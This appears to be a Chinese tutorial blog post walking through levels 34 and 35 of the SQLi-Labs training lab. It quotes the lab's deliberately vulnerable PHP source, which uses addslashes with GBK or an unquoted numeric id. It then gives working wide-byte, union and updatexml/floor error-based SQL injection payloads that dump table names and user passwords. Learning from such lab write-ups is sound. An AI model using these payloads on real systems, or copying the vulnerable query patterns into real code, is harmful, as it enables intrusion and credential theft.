当前位置:   article > 正文

SQL-Labs靶场“34-35”关通关教程_sqli-labs-34关是什么知识点

sqli-labs-34关是什么知识点


SQL-Labs靶场通关教程:

SQL注入第一课

SQL无列名注入

SQL报错注入原理

简单的SQL练习,联合注入、报错注入

POST提交方式注入

HTTP头部注入

二次注入

一些绕过案例

HTTP参数污染攻击

一、34关 POST单引号宽字节注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘$uname’

本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
在这里插入图片描述
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname1=$_POST['uname'];
	$passwd1=$_POST['passwd'];
        //echo "username before addslashes is :".$uname1 ."<br>";
        //echo "Input password before addslashes is : ".$passwd1. "<br>";
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname1);
	fwrite($fp,'Password:'.$passwd1."\n");
	fclose($fp);
        $uname = addslashes($uname1);
        $passwd= addslashes($passwd1);
        //echo "username after addslashes is :".$uname ."<br>";
        //echo "Input password after addslashes is : ".$passwd;
	// connectivity 
	mysqli_query($con1, "SET NAMES gbk");
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
		···
		echo 'Your Login name:'. $row['username'];
		···
		echo 'Your Password:' .$row['password'];
		···
  	}
	else  
	{
		···
		//echo "Try again looser";
		print_r(mysqli_error($con1));
		···
	}
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41

这里我们只需要看以下代码:

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
  • 1
  • 2

使用 addslashes 函数对用户名和密码进行转义处理。剩下的代码与第32关相同。依旧是查询到的话输出查询到的信息,查不到的话输出报错信息,所以联合查询以及报错注入依旧可以尝试使用。
在这里插入图片描述
所以我们使用Burp抓包进行测试,抓包发送到重发器中完成注入。

2、联合查询注入

1、猜字段数

uname=1%df' order by 3#&passwd=1&submit=Submit
  • 1

在这里插入图片描述
我们可以看到没有第三列,所以我们为2列。

2、测试观察回显内容

uname=-1%df' union select 1,2#&passwd=1&submit=Submit
  • 1

在这里插入图片描述

3、爆出数据库中所有表的名称

uname=-1%df' union select  1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit
  • 1

在这里插入图片描述

4、爆出数据库中表的列名

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit
  • 1

在这里插入图片描述
同样的,上面是使用十六进制进行查询,下面我们使用子查询进行查询。

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)#&passwd=1&submit=Submit
  • 1

在这里插入图片描述

5、爆出数据

uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit
  • 1

在这里插入图片描述
下面我们看users表中的内容。

uname=-1%df' union select 1,group_concat(id,username,0x3a,password) from users#&passwd=1&submit=Submit
  • 1

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出该数据库名

uname=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit
  • 1

在这里插入图片描述

2、爆出该数据库中的所有表名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1&submit=Submit
  • 1

在这里插入图片描述

3、爆出数据库中表,表名下的列名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)#&passwd=1&submit=Submit
  • 1

在这里插入图片描述
同样的,当limit为3,1时,我们就可查询出users表中的列名。

4、爆出users表中的数据

uname=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#&passwd=1&submit=Submit
  • 1

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出当前数据库名

uname=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
  • 1

在这里插入图片描述

2、爆出当前数据库下的所有表名

uname=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
  • 1

在这里插入图片描述

3、爆出当前数据库表名下的列名

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
  • 1

在这里插入图片描述

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
  • 1

即可查出users表的列名。

4、爆出数据

uname=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#&passwd=1&submit=Submit
  • 1

在这里插入图片描述
即可完成floor报错注入。

二、35关 GET数字型报错注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=$id

同样的,使用1单引号进行测试:
在这里插入图片描述
可以看到直接报了错,我们使用1进行尝试发现可以查询成功:
在这里插入图片描述
同时我们使用宽字节注入测试即可看到:
在这里插入图片描述
我们便可以猜测是闭合方式不是单引号,测试其他依旧相同,所以我们查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
	print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

源码发现和35关差不多,依旧是使用addslashes来进行过滤,但是本关其实挺搞笑的,闭合方式直接不加,使用数字型,所以不用使用宽字节注入,我们只需要不适用单引号、双引号、反斜线就行。
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

所以我们下面注入就正常注入,不适用单双引号就行。

1、猜字段

?id=1 order by 4--+
?id=1 order by 3--+
  • 1
  • 2

在这里插入图片描述
在这里插入图片描述

2、测试观察回显

?id=-1 union select 1,2,3--+
  • 1

在这里插入图片描述

3、爆出该数据库下的所有表名称

?id=-1 union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
  • 1

在这里插入图片描述

4、爆出表的列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+
  • 1

在这里插入图片描述
使用16进制进行查询,下面使用子查询:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+
  • 1

在这里插入图片描述

5、爆出数据

?id=-1 union select 1,group_concat(id,username,0x3a,password),3 from users--+
  • 1

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出当前数据库名称

?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+
  • 1

在这里插入图片描述

2、爆出该数据库下的所有表名

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+
  • 1

在这里插入图片描述

3、爆出数据库表下的列名

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+
  • 1

在这里插入图片描述

4、爆出数据

?id=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
  • 1

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出数据库名

?id=1 or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 1

在这里插入图片描述

2、爆出数据库名下的表名

?id=1 or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 1

在这里插入图片描述

3、爆出当前数据库表下的列名

?id=1 or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 1

在这里插入图片描述

4、爆出数据

?id=1 or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+
  • 1

在这里插入图片描述
即可完成floor报错注入。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/389544
推荐阅读
  

闽ICP备14008679号